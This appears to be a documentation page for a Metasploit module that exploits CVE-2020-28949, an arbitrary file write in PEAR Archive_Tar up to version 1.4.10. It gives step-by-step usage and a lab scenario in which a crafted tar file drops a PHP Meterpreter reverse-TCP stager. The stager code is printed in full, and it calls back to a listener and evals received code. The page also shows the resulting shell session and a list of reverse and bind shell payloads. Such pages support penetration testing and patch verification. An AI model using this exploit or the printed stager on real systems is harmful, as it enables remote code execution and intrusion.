PEAR Archive_Tar 1.4.10 Arbitrary File Write - Metasploit


This page contains detailed information about how to use the exploit/multi/fileformat/archive_tar_arb_file_write metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: PEAR Archive_Tar 1.4.10 Arbitrary File Write
Module: exploit/multi/fileformat/archive_tar_arb_file_write
Source code: modules/exploits/multi/fileformat/archive_tar_arb_file_write.rb
Disclosure date: 2020-11-17
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): php
Supported platform(s): PHP
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2020-28949

This module takes advantages of Archive_Tar <= 1.4.10's lack of validation of file stream wrappers contained within filenames to write an arbitrary file containing user controlled content to an arbitrary file on disk. Note that the file will be written to disk with the permissions of the user that PHP is running as, so it may not be possible to overwrite some files if the PHP user is not appropriately privileged.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage


msf > use exploit/multi/fileformat/archive_tar_arb_file_write
msf exploit(archive_tar_arb_file_write) > show targets
    ... a list of targets ...
msf exploit(archive_tar_arb_file_write) > set TARGET target-id
msf exploit(archive_tar_arb_file_write) > show options
    ... show and set options ...
msf exploit(archive_tar_arb_file_write) > exploit

Knowledge Base


Vulnerable Application


Archive_Tar is a plugin for the PEAR PHP development framework that allows developers the ability to create, delete, modify and extract files from TAR archives.

This module takes advantages of Archive_Tar < 1.4.11's lack of validation of file stream wrappers contained within filenames to write an arbitrary file containing user controlled content to an arbitrary file on disk. Note that the file will be written to disk with the permissions of the user that PHP is running as, so it may not be possible to overwrite some files if the PHP user is not appropriately privileged.

Verification Steps


  1. Install the PEAR framework using the instructions at https://pear.php.net/manual/en/installation.getting.php
  2. Verify the PEAR framework is working using the instructions at https://pear.php.net/manual/en/installation.checking.php
  3. Download the PoC files from the original advisory at https://github.com/pear/Archive_Tar/files/5551831/exploit.zip.
  4. Unzip the files to a sample directory
  5. Open up msfconsole.
  6. use exploit/multi/fileformat/archive_tar_arb_file_write
  7. set FILENAME exploit.tar
  8. set FILEPATH *path to the file to overwrite on the target system*
  9. run
  10. Copy the generated exploit.tar file to the file_proc directory within the directory you expanded exploit.zip to from earlier.
  11. Run php vulnerable.php
  12. Verify that the file was created in the location you specified in the FILEPATH parameter, with the contents of the PHP shell that you specified for the PAYLOAD parameter.

Options


FILENAME

The name of the TAR file to be created locally

FILEPATH

The full path to the file on the target system that should be created or overwritten with the code for a PHP shell.

Scenarios


Archive_Tar v1.4.10

First create the malicious TAR file and set up the listener:

msf6 > use exploit/multi/fileformat/archive_tar_arb_file_write
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/fileformat/archive_tar_arb_file_write) > show options

Module options (exploit/multi/fileformat/archive_tar_arb_file_write):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   FILENAME                   no        The file name.
   FILEPATH  /tmp/msf.php     yes       The full path to the file to write on the target.


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.30.86.152    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

   **DisablePayloadHandler: True   (no handler will be created!)**


Exploit target:

   Id  Name
   --  ----
   0   Archive_Tar < 1.4.11


msf6 exploit(multi/fileformat/archive_tar_arb_file_write) > set FILENAME test.tar
FILENAME => test.tar
msf6 exploit(multi/fileformat/archive_tar_arb_file_write) > set FILEPATH /tmp/test.php
FILEPATH => /tmp/test.php
msf6 exploit(multi/fileformat/archive_tar_arb_file_write) > run

[*] Writing file: test.tar (3072 bytes) ...
[+] test.tar stored at /home/test/.msf4/local/test.tar
msf6 exploit(multi/fileformat/archive_tar_arb_file_write) > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 172.30.86.152
LHOST => 172.30.86.152
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 172.30.86.152:4444

Then copy the file over and into the expanded copy of https://github.com/pear/Archive_Tar/files/5551831/exploit.zip and run vulnerable.php to simulate an application opening a tar file and extracting its contents.

 ~/drupal/exploit/file_poc #  ls
create_tar.py  exploit.tar  input_file.txt  php_errors.log  steps.sh  vulnerable.php
 ~/drupal/exploit/file_poc #  rm -rf exploit.tar
 ~/drupal/exploit/file_poc #  cp /home/test/.msf4/local/test.tar exploit.tar
 ~/drupal/exploit/file_poc # ls -alh /tmp/test.php
ls: cannot access '/tmp/test.php': No such file or directory
 ~/drupal/exploit/file_poc # php vulnerable.php
 ~/drupal/exploit/file_poc # cat vulnerable.php

  require_once('../Archive/Tar.php');

  $archive = new Archive_Tar('exploit.tar');
  $archive->extract();
 ~/drupal/exploit/file_poc  ls -alh /tmp/test.php
-rw-rw-r-- 1 test test 1.1K Jan 15 17:54 /tmp/test.php
 ~/drupal/exploit/file_poc # cat /tmp/test.php
/* /**/ error_reporting(0); $ip = '172.30.86.152'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

Now we just have to run the PHP file to simulate a user browsing to the web page:

php /tmp/test.php

And the shell will be obtained:

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 172.30.86.152:4444
[*] Sending stage (39282 bytes) to 172.30.86.152
[*] Meterpreter session 2 opened (172.30.86.152:4444 -> 172.30.86.152:56754) at 2021-01-15 18:02:55 -0600

meterpreter > getuid
Server username: test (1000)
meterpreter > uname -a
[-] Unknown command: uname.
meterpreter > shell
Process 29349 created.
Channel 0 created.
uname -a
Linux test-Virtual-Machine 5.8.0-36-generic #40~20.04.1-Ubuntu SMP Wed Jan 6 10:15:55 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

Go back to menu.

Msfconsole Usage


Here is how the multi/fileformat/archive_tar_arb_file_write exploit module looks in the msfconsole:

msf6 > use exploit/multi/fileformat/archive_tar_arb_file_write

[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/fileformat/archive_tar_arb_file_write) > show info

       Name: PEAR Archive_Tar 1.4.10 Arbitrary File Write
     Module: exploit/multi/fileformat/archive_tar_arb_file_write
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-11-17

Provided by:
  gwillcox-r7
  xorathustra

Available targets:
  Id  Name
  --  ----
  0   Archive_Tar <= 1.4.10

Check supported:
  No

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  FILENAME                   no        The file name.
  FILEPATH  /tmp/msf.php     yes       The full path to the file to write on the target.

Payload information:

Description:
  This module takes advantages of Archive_Tar <= 1.4.10's lack of 
  validation of file stream wrappers contained within filenames to 
  write an arbitrary file containing user controlled content to an 
  arbitrary file on disk. Note that the file will be written to disk 
  with the permissions of the user that PHP is running as, so it may 
  not be possible to overwrite some files if the PHP user is not 
  appropriately privileged.

References:
  https://github.com/pear/Archive_Tar/issues/33
  https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28949
  https://nvd.nist.gov/vuln/detail/CVE-2020-28949

Module Options


This is a complete list of options available in the multi/fileformat/archive_tar_arb_file_write exploit:

msf6 exploit(multi/fileformat/archive_tar_arb_file_write) > show options

Module options (exploit/multi/fileformat/archive_tar_arb_file_write):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   FILENAME                   no        The file name.
   FILEPATH  /tmp/msf.php     yes       The full path to the file to write on the target.

Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

   **DisablePayloadHandler: True   (no handler will be created!)**

Exploit target:

   Id  Name
   --  ----
   0   Archive_Tar <= 1.4.10

Advanced Options


Here is a complete list of advanced options supported by the multi/fileformat/archive_tar_arb_file_write exploit:

msf6 exploit(multi/fileformat/archive_tar_arb_file_write) > show advanced

Module advanced options (exploit/multi/fileformat/archive_tar_arb_file_write):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   true             no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session

Payload advanced options (php/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the multi/fileformat/archive_tar_arb_file_write module can exploit:

msf6 exploit(multi/fileformat/archive_tar_arb_file_write) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Archive_Tar <= 1.4.10

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the multi/fileformat/archive_tar_arb_file_write exploit:

msf6 exploit(multi/fileformat/archive_tar_arb_file_write) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/generic/custom                                       normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                               normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                            normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/multi/meterpreter/reverse_http                       normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
   4   payload/multi/meterpreter/reverse_https                      normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
   5   payload/php/bind_perl                                        normal  No     PHP Command Shell, Bind TCP (via Perl)
   6   payload/php/bind_perl_ipv6                                   normal  No     PHP Command Shell, Bind TCP (via perl) IPv6
   7   payload/php/bind_php                                         normal  No     PHP Command Shell, Bind TCP (via PHP)
   8   payload/php/bind_php_ipv6                                    normal  No     PHP Command Shell, Bind TCP (via php) IPv6
   9   payload/php/download_exec                                    normal  No     PHP Executable Download and Execute
   10  payload/php/exec                                             normal  No     PHP Execute Command
   11  payload/php/meterpreter/bind_tcp                             normal  No     PHP Meterpreter, Bind TCP Stager
   12  payload/php/meterpreter/bind_tcp_ipv6                        normal  No     PHP Meterpreter, Bind TCP Stager IPv6
   13  payload/php/meterpreter/bind_tcp_ipv6_uuid                   normal  No     PHP Meterpreter, Bind TCP Stager IPv6 with UUID Support
   14  payload/php/meterpreter/bind_tcp_uuid                        normal  No     PHP Meterpreter, Bind TCP Stager with UUID Support
   15  payload/php/meterpreter/reverse_tcp                          normal  No     PHP Meterpreter, PHP Reverse TCP Stager
   16  payload/php/meterpreter/reverse_tcp_uuid                     normal  No     PHP Meterpreter, PHP Reverse TCP Stager
   17  payload/php/meterpreter_reverse_tcp                          normal  No     PHP Meterpreter, Reverse TCP Inline
   18  payload/php/reverse_perl                                     normal  No     PHP Command, Double Reverse TCP Connection (via Perl)
   19  payload/php/reverse_php                                      normal  No     PHP Command Shell, Reverse TCP (via PHP)

Evasion Options


Here is the full list of possible evasion options supported by the multi/fileformat/archive_tar_arb_file_write exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(multi/fileformat/archive_tar_arb_file_write) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • gwillcox-r7
  • xorathustra

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.